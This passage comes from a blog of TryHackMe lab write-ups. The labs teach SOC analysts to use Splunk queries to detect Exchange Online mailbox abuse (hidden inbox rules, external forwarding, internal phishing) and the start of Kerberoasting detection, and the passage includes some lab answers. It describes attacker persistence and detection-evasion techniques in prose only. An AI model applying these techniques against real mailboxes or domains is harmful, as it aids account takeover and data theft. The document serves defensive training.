<p>While the unified audit logs indicate that an email was sent, they don't indicate who received it. This is where message trace comes in. Message trace is a separate log source that tracks the full delivery journey of every email, including the sender, recipient, subject, delivery status, and timestamp.</p>
<p>This makes message trace particularly useful in two scenarios. First, when scoping a phishing campaign, if you identify a suspicious email that was sent from a compromised account, message trace tells you exactly how many people received it and whether it was delivered successfully. Second, for timeline construction, message trace provides precise delivery timestamps that help piece together the sequence of events during an incident.</p>
<p>In Splunk, message trace logs can be queried using:</p>
<table>
<thead>
<tr>
<th><strong>Investigate Message Trace logs</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=* sourcetype="o365:reporting:messagetrace"
| table Received SenderAddress RecipientAddress Subject Status FromIP
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772725427418.png" alt="Splunk showing the Message Trace log with SenderAddress, RecipientAddress, and Subject fields" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>Which <code>appDisplayName</code> value confirms that a user accessed their Exchange Online mailbox?</p>
<pre><code class="language-shell">index=* sourcetype="azure:aad:signin" appDisplayName="One Outlook Web" | table _time userPrincipalName appDisplayName ipAddress location.city status.errorCode | sort - _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/132b1138-2fbd-4fda-a6cf-9d1ba0dc39f2.png" alt="" style="display:block;margin:0 auto" />

<p>Which Exchange Online feature can attackers abuse to automatically delete replies to phishing emails? <code>New-InboxRule</code></p>
<h2>Detecting Mailbox Rule Abuse</h2>
<p>The attacker is in. They have successfully authenticated to the victim's Exchange Online mailbox and spent time reading emails. Now their priority shifts: they need to stay hidden and keep receiving data, even if the victim becomes suspicious. To achieve this, attackers typically abuse three powerful Exchange Online features: <strong>inbox rules</strong>, <strong>email forwarding</strong>, and <strong>delegate access</strong>.</p>
<h2><strong>Inbox Rules</strong></h2>
<p>Inbox rules are a legitimate Exchange Online feature that allows users to automatically manage incoming emails. A user might create a rule to move newsletters to a specific folder, flag emails from their manager, or forward emails from a particular sender. These are normal day-to-day actions.</p>
<p>When a user creates inbox rules, their activity will appear in Splunk under two operations:</p>
<ul>
<li><p><code>New-InboxRule</code> is logged when a new inbox rule is created</p>
</li>
<li><p><code>Set-InboxRule</code> is logged when an existing inbox rule is modified</p>
</li>
</ul>
<p><strong>New-InboxRule</strong></p>
<p>When a new inbox rule is created, it will appear as a <code>New-InboxRule</code> operation. Attackers typically create inbox rules for one of two purposes:</p>
<p><strong>Delete rules:</strong> The attacker creates a rule that automatically deletes incoming emails matching certain criteria. The most common use case is deleting replies to phishing emails sent from the compromised account. When colleagues receive a suspicious email and reply to ask if it is legitimate, those replies are silently deleted before the victim ever sees them. This keeps the victim unaware that their account is being abused.</p>
<p><strong>Forwarding rules:</strong> The attacker creates a rule that automatically forwards incoming emails matching specific conditions to an external address they control. For example, forwarding only emails containing words like "invoice", "payment", or "credentials" to avoid raising suspicion through high email volumes.</p>
<p>In Splunk, use this query to find inbox rule creation events:</p>
<table>
<thead>
<tr>
<th><strong>Investigate inbox rule creation</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-plaintext">index=* Workload=Exchange Operation=New-InboxRule 
| table _time UserId Name DeleteMessage ForwardTo SubjectContainsWords
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772729065021.png" alt="Splunk showing the New-InboxRule log with DeleteMessage=True visible" style="display:block;margin:0 auto" />

<p>The parameter fields in a <code>New-InboxRule</code> log contain the full details of what the rule does. The most important parameters to look for are:</p>
<table>
<thead>
<tr>
<th><strong>Parameter</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody><tr>
<td><code>Name</code></td>
<td>The name given to the rule</td>
</tr>
<tr>
<td><code>SubjectContainsWords</code></td>
<td>Condition: triggers if the subject contains specific words</td>
</tr>
<tr>
<td><code>DeleteMessage</code></td>
<td>Action: if True, matching emails are deleted</td>
</tr>
<tr>
<td><code>ForwardTo</code></td>
<td>Action: forwards matching emails to a specified address</td>
</tr>
</tbody></table>
<p>The key red flag is <code>DeleteMessage = True</code>; this is rarely a legitimate use case and should always be investigated.</p>
<p><strong>Set-InboxRule</strong></p>
<p>When a user modifies an existing inbox rule, it will appear as a <code>Set-InboxRule</code> operation. An important distinction here is that <code>Set-InboxRule</code> only logs the fields that were changed, not the full rule configuration. This means the absence of a field does not mean that the action no longer exists on the rule.</p>
<p>Red flags to watch for across both operations:</p>
<ul>
<li><p><code>DeleteMessage = True</code>, indicating the attacker is hiding replies</p>
</li>
<li><p><code>ForwardTo</code> pointing to an external domain</p>
</li>
<li><p>Rules created or modified outside business hours</p>
</li>
<li><p>Rule names that look generic or system-like to avoid suspicion</p>
</li>
</ul>
<h2><strong>Mailbox-Level Email Forwarding</strong></h2>
<p>Unlike the forwarding rules we saw above, which only forward emails matching specific conditions, mailbox-level email forwarding applies to every single incoming email unconditionally. The attacker configures this directly in the mailbox settings, meaning that every email the victim receives, regardless of sender, subject, or content, is silently copied to the attacker's external address.</p>
<p>In Splunk, mailbox-level email forwarding appears as a <code>Set-Mailbox</code> operation.</p>
<table>
<thead>
<tr>
<th><strong>Investigate mailbox-level email forwarding</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=* Workload=Exchange Operation=Set-Mailbox 
| table _time UserId ForwardingSmtpAddress DeliverToMailboxAndForward
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772729065075.png" alt="Splunk showing the Set-Mailbox log with ForwardingSmtpAddress visible" style="display:block;margin:0 auto" />

<p>Red flags to watch for:</p>
<ul>
<li><p><code>ForwardingSmtpAddress</code> pointing to an external domain like Gmail or ProtonMail</p>
</li>
<li><p><code>DeliverToMailboxAndForward = False</code></p>
</li>
<li><p>Forwarding configured shortly after a suspicious sign-in</p>
</li>
</ul>
<p><code>DeliverToMailboxAndForward = False</code> is particularly suspicious; it means the victim will not even see the emails in their own inbox. Everything goes silently to the attacker.</p>
<h2><strong>Delegate Access</strong></h2>
<p>Delegate Access abuse is not very common, but it is a highly effective persistence technique. Attackers add themselves or another account they control as a delegate to the victim's mailbox, thereby gaining persistent access even after the victim changes their password. Unlike forwarding rules, delegate access gives the attacker full interactive access to the mailbox; they can read, send, and manage emails as if they were the victim.</p>
<p>Delegate access changes appear in Splunk as an <code>Add-MailboxPermission</code> operation. The <code>Trustee</code> field shows which account was granted access. Any unexpected delegate, especially one added outside business hours or shortly after a suspicious login, should be investigated immediately.</p>
<h2><strong>Remediation</strong></h2>
<p>Upon detecting mailbox rule abuse or unauthorised forwarding, a SOC analyst should take the following steps:</p>
<ul>
<li><p>Identify and delete any suspicious rules immediately</p>
</li>
<li><p>Remove any unauthorised forwarding addresses from the mailbox</p>
</li>
<li><p>Force a password reset to lock out the attacker</p>
</li>
<li><p>Revoke all active tokens and sessions for the compromised account</p>
</li>
<li><p>Determine how long forwarding was active and what emails may have been exfiltrated</p>
</li>
<li><p>Check if any unexpected delegates were added and remove them</p>
</li>
</ul>
<p><strong>Practice</strong></p>
<p>To answer the questions, use the provided Splunk instance.</p>
<p>You will use the <code>index=task4_5</code> query. Search for <strong>All Time</strong> and start investigating.</p>
<h3>Answer the questions below</h3>
<p>A suspicious inbox rule was created by a user. What is the name of the rule that forwards emails to an external address?</p>
<pre><code class="language-shell">index=* Workload=Exchange Operation=New-InboxRule 
| table _time UserId Name DeleteMessage ForwardTo SubjectContainsWords
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/215512e4-236a-4230-a26a-ebb68970de89.png" alt="" style="display:block;margin:0 auto" />

<p>What word does this forwarding inbox rule trigger on in the subject? <code>Verify</code></p>
<p>The same user configured mailbox-level email forwarding. To which external address were emails being forwarded?</p>
<pre><code class="language-shell">index=task4_5 DeliverToMailboxAndForward
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f6ccefa7-4009-4e7c-af9c-04758bcd573b.png" alt="" style="display:block;margin:0 auto" />

<h2>Detecting Phishing from Compromised Mailbox</h2>
<p>Now the attacker wants to expand their reach. With persistent access established and mechanisms in place to stay hidden, the <strong>compromised mailbox</strong> becomes a weapon. Sending <strong>phishing emails</strong> from a legitimate internal account is one of the most effective techniques in an attacker's arsenal. The email comes from a trusted colleague, bypasses external email security filters, and is far more likely to be clicked than a message from an unknown sender.</p>
<h2><strong>MailItemsAccessed</strong></h2>
<p>Before launching a phishing campaign, a sophisticated attacker will first spend time reading the victim's emails. By understanding ongoing conversations, the attacker can craft highly convincing phishing emails that reference real projects, real colleagues, and real business context. This reconnaissance activity is captured in the <code>MailItemsAccessed</code> operation.</p>
<p><code>MailItemsAccessed</code> logs are generated whenever emails in a mailbox are accessed or read. From a SOC analyst's perspective, this operation is important for two reasons. First, it can reveal that an attacker was actively reading emails before launching further attacks. Second, it is critical for data exposure assessment. If sensitive emails were accessed, the organisation may have a data breach notification obligation under GDPR or other regulations.</p>
<p>In Splunk, use this query to investgate mail items accessed:</p>
<table>
<thead>
<tr>
<th><strong>Investigate Mail Items Accessed</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-plaintext">index=* Workload=Exchange Operation=MailItemsAccessed 
| table _time UserId ClientIPAddress OperationCount
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772731811051.png" alt="Splunk showing the MailItemsAccessed log" style="display:block;margin:0 auto" />

<p>Red flags to watch for:</p>
<ul>
<li><p><code>MailItemsAccessed</code> events from an unusual IP address or location</p>
</li>
<li><p>High <code>OperationCount</code> indicating a large volume of emails being read</p>
</li>
<li><p>Access occurring outside business hours</p>
</li>
</ul>
<h2><strong>Send Operation</strong></h2>
<p>When the attacker sends phishing emails from the compromised account, each email generates a <code>Send</code> operation in the Exchange audit logs. This is how SOC analysts can identify that a compromised account was used to send suspicious emails.</p>
<p>The key fields in a <code>Send</code> log are:</p>
<table>
<thead>
<tr>
<th><strong>Field</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody><tr>
<td><code>UserId</code></td>
<td>The account that sent the email</td>
</tr>
<tr>
<td><code>Item.Subject</code></td>
<td>The subject line of the email sent</td>
</tr>
<tr>
<td><code>Item.SizeInBytes</code></td>
<td>Size of the email</td>
</tr>
<tr>
<td><code>ClientIP</code></td>
<td>IP address from which the email was sent</td>
</tr>
<tr>
<td><code>SaveToSentItems</code></td>
<td>Whether the email was saved to Sent Items</td>
</tr>
</tbody></table>
<p><code>SaveToSentItems=False</code> is a red flag. Attackers sometimes configure this to prevent the sent email from appearing in the victim's Sent folder, further hiding their activity.</p>
<p>In Splunk, use this query to investigate sent emails:</p>
<table>
<thead>
<tr>
<th><strong>Investigate Sent Emails</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-plaintext">index=* Workload=Exchange Operation=Send 
| table _time UserId Item.Subject ClientIP SaveToSentItems
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772731811720.png" alt="Splunk showing the Send operation log with Item.Subject field" style="display:block;margin:0 auto" />

<p>Red flags to watch for:</p>
<ul>
<li><p>High volume of <code>Send</code> operations in a short time window</p>
</li>
<li><p><code>SaveToSentItems=False</code></p>
</li>
<li><p><code>Send</code> events from an IP that does not match the victim's normal sign-in IP</p>
</li>
<li><p>Suspicious subject lines like invoice updates, password resets, or urgent requests</p>
</li>
</ul>
<h2><strong>Message Trace</strong></h2>
<p>The <code>Send</code> operation shows that an email was sent and its subject, but it does not indicate who received it. To understand the full scope of the phishing campaign,</p>
<p>how many people received the email, and whether it was successfully delivered, a SOC analyst pivots to message trace.</p>
<p>In Splunk, use this query to investigate message trace:</p>
<table>
<thead>
<tr>
<th><strong>Investigate Message Trace Logs</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-plaintext">index=* sourcetype="o365:reporting:messagetrace" 
| table Received SenderAddress RecipientAddress Subject Status FromIP
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772731811054.png" alt="Splunk showing the Message Trace with multiple recipients of the same phishing email" style="display:block;margin:0 auto" />

<p>By filtering on the suspicious sender and the phishing email subject, you can quickly identify every recipient, confirm delivery status, and build a list of potentially compromised users who need to be contacted and warned.</p>
<p>Red flags to watch for:</p>
<ul>
<li><p>Multiple recipients receiving the same email from a compromised internal account in a short time window</p>
</li>
<li><p><code>Status = Delivered</code>, confirming the phishing email reached the recipient's inbox</p>
</li>
<li><p>Recipients across different departments, suggesting a broad campaign</p>
</li>
</ul>
<h2><strong>Remediation</strong></h2>
<p>Upon detecting phishing activity from a compromised mailbox, a SOC analyst should take the following steps:</p>
<ul>
<li><p>Block the compromised account immediately to prevent any further emails from being sent</p>
</li>
<li><p>Identify all recipients of the phishing email by using message trace</p>
</li>
<li><p>Notify all recipients and warn them not to click any links or open any attachments from that email</p>
</li>
<li><p>Check for further compromised accounts, as any recipients who replied or clicked links may also be compromised</p>
</li>
<li><p>Review sent items and check the compromised account's sent folder for any other suspicious emails that may have been missed</p>
</li>
</ul>
<p><strong>Practice</strong></p>
<p>To answer the questions, use the provided Splunk instance.</p>
<p>You will use the <code>index=task4_5</code> query. Search for <strong>All Time</strong> and start investigating.</p>
<h3>Answer the questions below</h3>
<p>All TechCorp employees work from the same office network. A colleague reported receiving a suspicious email from an internal account. What was the subject line of this email?</p>
<pre><code class="language-shell">index=task4_5 action=delivered
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/9e535fd9-22c8-4527-b4d8-abf540966704.png" alt="" style="display:block;margin:0 auto" />

<p>How many colleagues received the phishing email according to message trace?</p>
<pre><code class="language-shell">index=task4_5 action=delivered Subject="Urgent: Verify Your Account"
</code></pre>
<p>Based on the output, there are three events, but two of the recipients are the same email; that's why it's only two</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/9ef4df31-b9c8-4267-b1c9-5a210e3186b8.png" alt="" style="display:block;margin:0 auto" />

<p>From which IP address were the suspicious emails sent?</p>
<pre><code class="language-shell">index=task4_5 james.wilson@techcorp.thm
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/db943599-0241-476f-aa77-2f735bd5d966.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f1e0d4c6-ac38-41af-82eb-738926709d22.png" alt="" style="display:block;margin:0 auto" />

<h2>Incident Investigation</h2>
<p>An unusual sign-in alert for Robert Green, Finance Manager at TechCorp, was triaged by a Level 1 analyst earlier today. The sign-in originated from an unfamiliar location and has been escalated to you as the Level 2 analyst on shift. Review the available logs in your Splunk and answer the questions below.</p>
<p>To answer the questions, use the provided Splunk instance. You will use the <code>index=task6</code> query and search for <strong>All Time</strong>.</p>
<p><strong>Note:</strong> All TechCorp employees work from the same office network.</p>
<p><strong>Tip:</strong> When investigating a sequence of events, sort your results by time using <code>| sort - _time</code> at the end of your Splunk queries. This ensures events are displayed in chronological order, making it easier to follow the attacker's timeline.</p>
<h3>Answer the questions below</h3>
<p>From which <strong>city</strong> was the malicious login performed?</p>
<pre><code class="language-shell">index=task6 sourcetype="azure:aad:signin" appDisplayName="One Outlook Web" | table _time userPrincipalName appDisplayName ipAddress location.city status.errorCode 
| sort - _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/13d7049b-b88d-4348-a2de-b408f300f80b.png" alt="" style="display:block;margin:0 auto" />

<p>Needed help to justify the <code>status.errorCode</code> that represents the performance of a malicious login</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/45f0067c-a117-4c5c-8fe4-8097c9f2247d.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/d4da1481-2931-4206-84f3-63fc5445ff3c.png" alt="" style="display:block;margin:0 auto" />

<p>What was the name of the suspicious inbox rule created by the attacker?</p>
<pre><code class="language-shell">index=task6 robert.green@techcorp.thm Operation=New-InboxRule
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/b7eaee5e-3f16-4dcc-a256-871cf5314c8e.png" alt="" style="display:block;margin:0 auto" />

<p>The attacker configured email forwarding. What was the email in <code>ForwardingSmtpAddress</code>?</p>
<pre><code class="language-shell">index=task6 ForwardingSmtpAddress
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/78a611bf-165d-4375-b7cf-2bb6185431c0.png" alt="" style="display:block;margin:0 auto" />

<p>Robert's colleagues received a phishing email. What was the subject line?</p>
<pre><code class="language-shell">index=task6 robert.green@techcorp.thm action=delivered
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/c78ade79-025a-4d46-b2fc-8bb031cad7e9.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/fc98af19-2c62-46dc-87c3-d59a168e4f7f.png" alt="" style="display:block;margin:0 auto" />

<p>It seems the attacker was using a VPN. From which IP address did the attacker send the phishing emails?</p>
<pre><code class="language-shell">index=task6 robert.green@techcorp.thm action=delivered Subject="Action Required: Password Reset"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ec4d89ea-08d7-44b9-b62a-801933f7b0b5.png" alt="" style="display:block;margin:0 auto" />

<p>One of the recipients replied to the phishing email. Which user replied?</p>
<pre><code class="language-shell">"adrian.mercer@techcorp.thm"

"allan.senna@techcorp.thm"

"emma.clarke@techcorp.thm"
</code></pre>
<p>Looking through each of the emails to check if they sent anything on the queries, none of them did except Emma</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/290926b8-3cee-4351-ab21-a576ce9d9cf4.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p>In this room, you investigated how attackers abuse Microsoft Exchange Online after compromising a mailbox. You learned how to identify suspicious sign-in activity using Entra ID logs, detect mailbox rule abuse and email forwarding through Exchange audit logs, identify phishing campaigns launched from compromised accounts, and scope the impact of an attack using message trace.</p>
<p>In the next room, <a href="https://tryhackme.com/room/sharepointonlinemonitoring">SharePoint Online Monitoring</a>, we will explore SharePoint Online and how attackers abuse it to exfiltrate data and maintain persistence within a compromised Microsoft 365 environment.</p>
]]></content:encoded></item><item><title><![CDATA[Detecting AD Credential Attacks (TryHackMe)]]></title><description><![CDATA[Introduction
In August 2024, The DFIR Report documented a BlackSuit ransomware intrusion(opens in new tab) where the attackers used Rubeus to Kerberoast service accounts, AS-REP Roasted an account wit]]></description><link>https://www.sharonjebitok.com/detecting-ad-credential-attacks-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/detecting-ad-credential-attacks-tryhackme</guid><category><![CDATA[tryhackme]]></category><category><![CDATA[LSASS]]></category><category><![CDATA[detecting-ad-credential-attacks]]></category><category><![CDATA[kerberoasting]]></category><category><![CDATA[AS-RepRoast attack ]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Wed, 25 Mar 2026 13:07:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/229a5780-0e10-4960-a0f3-f0234a5390c8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>In August 2024, <a href="https://thedfirreport.com/2024/08/26/blacksuit-ransomware/">The DFIR Report documented a BlackSuit ransomware intrusion(opens in new tab)</a> where the attackers used Rubeus to Kerberoast service accounts, AS-REP Roasted an account with preauthentication disabled, and dumped credentials from LSASS memory, all within a single intrusion. In a separate BlackSuit case <a href="https://reliaquest.com/blog/blacksuit-attack-analysis/">investigated by ReliaQuest(opens in new tab)</a> that same year, the attackers compromised over 20 accounts through Kerberoasting, including a domain administrator. The techniques they used were not exotic or novel. They are the same credential attacks that show up in incident after incident, and they are detectable if you know what to look for.</p>
<p>This room covers five techniques that bridge the gap between "attacker has a foothold" and "attacker owns the domain."</p>
<ul>
<li><p>Kerberoasting and AS-REP Roasting abuse Kerberos to crack passwords offline.</p>
</li>
<li><p>LSASS dumping extracts credentials directly from memory.</p>
</li>
<li><p>DCSync impersonates a domain controller to pull every password hash in the directory.</p>
</li>
<li><p>NTDS.dit extraction copies the AD database file directly from the domain controller's disk.</p>
</li>
</ul>
<p>These aren't the only ways attackers get credentials (a passwords.xlsx sitting on a network share is still a real attack vector), but they're the five that abuse AD's authentication and replication infrastructure directly. Each targets a different part of that infrastructure, requires a different level of privilege, and leaves distinct artifacts in different log sources.</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Detect Kerberoasting through anomalous TGS requests with RC4 encryption</p>
</li>
<li><p>Identify AS-REP Roasting by recognizing TGT requests for accounts with preauthentication disabled</p>
</li>
<li><p>Detect LSASS credential dumping through suspicious process access patterns</p>
</li>
<li><p>Identify DCSync attacks through unauthorized AD replication requests</p>
</li>
<li><p>Detect NTDS.dit extraction through process creation and file write events on domain controllers</p>
</li>
<li><p>Correlate credential access artifacts across host and domain controller logs to trace an attacker's escalation path</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<ul>
<li><p><strong>Active Directory basics</strong>: Core AD concepts like domains, users, groups, OUs, and how Kerberos/NTLM authentication works (<a href="https://tryhackme.com/room/winadbasics">Active Directory Basics</a> room)</p>
</li>
<li><p><strong>Windows logging</strong>: Windows Event Log structure, Security log channels, and key Event IDs (<a href="https://tryhackme.com/room/windowsloggingforsoc">Windows Logging for SOC</a> room)</p>
</li>
<li><p><strong>Active Directory monitoring</strong>: Kerberos authentication flows, TGT/TGS ticket concepts, Event IDs 4768 and 4769 (<a href="https://tryhackme.com/room/monitoringactivedirectory">Monitoring Active Directory</a> room)</p>
</li>
<li><p><strong>Splunk basics</strong>: SPL queries, filtering, stats commands (<a href="https://tryhackme.com/room/splunkexploringspl">Splunk: Exploring SPL</a> room)</p>
</li>
</ul>
<h2>Detecting Kerberoasting</h2>
<p>Attackers target service accounts through Kerberoasting because these accounts often have weak passwords and elevated privileges. A SQL service account running as Domain Admin, for example, gives an attacker full domain control the moment they crack the password. And the attack itself requires nothing more than a regular domain user account.</p>
<h2><strong>How Do Accounts End Up Kerberoastable?</strong></h2>
<p>It usually starts with an IT admin who needs to run a service, like SQL Server or a web application, and decides to use their own DA account (or a shared admin account) as the service identity because it's quick. They register an SPN on the account, set a short password so the team can remember it, and move on. Now that account has a weak password hash tied to an SPN that any domain user can request. Multiply this across years of admin decisions, and you get environments with dozens of Kerberoastable accounts.</p>
<p>When a user needs to access a service in Active Directory, they request a Kerberos service ticket (TGS) from the domain controller. The DC looks up the SPN, encrypts the ticket with the service account's password hash, and hands it back. Normally, the user presents the ticket to the service, and the service decrypts it to verify the user's identity.</p>
<p>The problem is that any domain user can request a service ticket for any SPN in the domain. The DC doesn't check whether the user actually intends to use the service. It just issues the ticket. An attacker takes that ticket and cracks the encryption offline. If the service account has a weak password, the attacker recovers the plaintext password in minutes. The diagram below illustrates this flow:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876207855" alt="Kerberoasting attack flow: an attacker requests a TGS ticket for an SPN, extracts it, and cracks the service account password offline" style="display:block;margin:0 auto" />

<p>The detection centers on Event 4769 (Kerberos Service Ticket Requested), which the DC logs when it processes a TGS-REQ. Modern AD environments default to AES-256 encryption (<code>0x12</code>) for Kerberos tickets. Most Kerberoasting tools, including Rubeus and Impacket's <a href="http://GetUserSPNs.py"><code>GetUserSPNs.py</code></a>, downgrade the request to RC4 encryption (<code>0x17</code>) because RC4 hashes are much faster to crack. A TGS request with <code>Ticket_Encryption_Type=0x17</code> in an environment that uses AES is a strong indicator.</p>
<p>Here are the fields in Event 4769 that matter for detection:</p>
<table>
<thead>
<tr>
<th><strong>Field</strong></th>
<th><strong>What It Contains</strong></th>
<th><strong>Why It Matters</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Service_Name</td>
<td>The SPN being requested (e.g., svc-sql)</td>
<td>Identifies which service account is being targeted</td>
</tr>
<tr>
<td>Ticket_Encryption_Type</td>
<td>0x12 (AES) or 0x17 (RC4)</td>
<td>RC4 requests are the primary Kerberoasting signal</td>
</tr>
<tr>
<td>Account_Name</td>
<td>The account requesting the ticket</td>
<td>Identifies the compromised user running the attack</td>
</tr>
<tr>
<td>Client_Address</td>
<td>Source IP of the request</td>
<td>Identifies the attacker's machine</td>
</tr>
</tbody></table>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765213861" alt="" style="display:block;margin:0 auto" />

<p><strong>Important note</strong>: The <code>Client_Address</code> field in Event 4769 often uses IPv6-mapped IPv4 notation on modern Windows domain controllers. Instead of displaying <code>10.5.90.1</code>, the field shows <code>::ffff:10.5.90.1</code>. This is standard behavior, not an error. The actual IPv4 address is the portion after <code>::ffff:</code>, so <code>::ffff:10.5.90.1</code> means the source IP is <code>10.5.90.1</code>.</p>
<h2><strong>Walkthrough</strong></h2>
<p>Follow along in the Splunk instance, and use <code>index=task2</code> for all queries in this task</p>
<p>Normal Kerberos traffic includes a lot of Event 4769 entries. Computer accounts (names ending in <code>$</code>) and <code>krbtgt</code> requests generate high volumes as part of regular domain operations. We exclude both to focus on service accounts that could be Kerberoasting targets. Our primary filter is <code>Ticket_Encryption_Type=0x17</code> since that's the RC4 downgrade signal. The diagram below contrasts normal TGS patterns with a Kerberoasting attack:</p>
<pre><code class="language-sql">index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt"
| table _time, Account_Name, Service_Name, Ticket_Encryption_Type, Client_Address
| sort _time
</code></pre>
<p>Multiple TGS requests with RC4 encryption, all from the same account, targeting different service accounts, within a short time window. That pattern is textbook Kerberoasting.</p>
<p>Let's aggregate to answer the key triage questions: how many service accounts were targeted, which account ran the attack, and where did it come from:</p>
<pre><code class="language-sql">index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt"
| stats dc(Service_Name) as targeted_services count by Account_Name, Client_Address
</code></pre>
<p>Your next triage priority is the privilege level of the targeted accounts. If any of those service accounts are members of Domain Admins or other privileged groups, the attacker may already have domain-level access once they crack the hash. That distinction is the difference between a routine alert and an active domain compromise.</p>
<h2><strong>Detection evasion</strong></h2>
<p>In 2022, TrustedSec released the <a href="https://trustedsec.com/blog/the-art-of-bypassing-kerberoast-detections-with-orpheus">Orpheus(opens in new tab)</a> tool demonstrating that Kerberoasting can be performed with AES-256 encryption instead of RC4, bypassing the <code>Ticket_Encryption_Type=0x17</code> filter entirely. <a href="https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/">Microsoft has been deprecating RC4(opens in new tab)</a> as the default Kerberos encryption type, starting with Windows Server 2025, where AES is the default for new Kerberos tickets. RC4 tickets can still be issued for service accounts that only support RC4 in their encryption type attributes, but the overall trend is toward AES-only environments.</p>
<p>This means RC4-based detection alone isn't enough for the long term. Volume-based detection catches both RC4 and AES Kerberoasting because tools like <code>GetUserSPNs.py</code> and Rubeus request tickets for every SPN-holding account in the domain by default, producing a burst of TGS requests that stands out against normal activity regardless of the encryption type used. The following query groups TGS requests into 5-minute windows and flags any account that requested tickets for more than 5 unique service accounts within a window:</p>
<pre><code class="language-sql">index=task2 EventCode=4769 Service_Name!="*$" Service_Name!="krbtgt"
| bin _time span=5m
| stats dc(Service_Name) as unique_spns count by Account_Name, Client_Address, _time
| where unique_spns &gt; 5
</code></pre>
<p><strong>Info:</strong> The threshold of 5 here is tuned for our lab environment. In production, the right number depends on what's normal in your network. Establish how many distinct service tickets a typical account requests during normal operations, then set your threshold above that peak.</p>
<p>The BlackSuit ransomware group that we mentioned in the introduction used Rubeus for Kerberoasting, and the joint CISA/FBI advisory on Akira ransomware (<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a">AA24-109A(opens in new tab)</a>) lists Kerberoasting among the post-exploitation credential access techniques used by the group. These groups are actively using this in the wild, and the RC4 signal is still the most reliable indicator in most environments today.</p>
<p><strong>On the Splunk instance, investigate the Kerberoasting activity using the queries above.</strong></p>
<h3>Answer the questions below</h3>
<p>How many service accounts were targeted by Kerberoasting?</p>
<pre><code class="language-shell">index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt" | table _time, Account_Name, Service_Name, Ticket_Encryption_Type, Client_Address | sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4b1f7f6f-d61a-4f25-be68-a5de636da75a.png" alt="" style="display:block;margin:0 auto" />

<p>What account requested the service tickets? (Answer Format: username only, without @domain)</p>
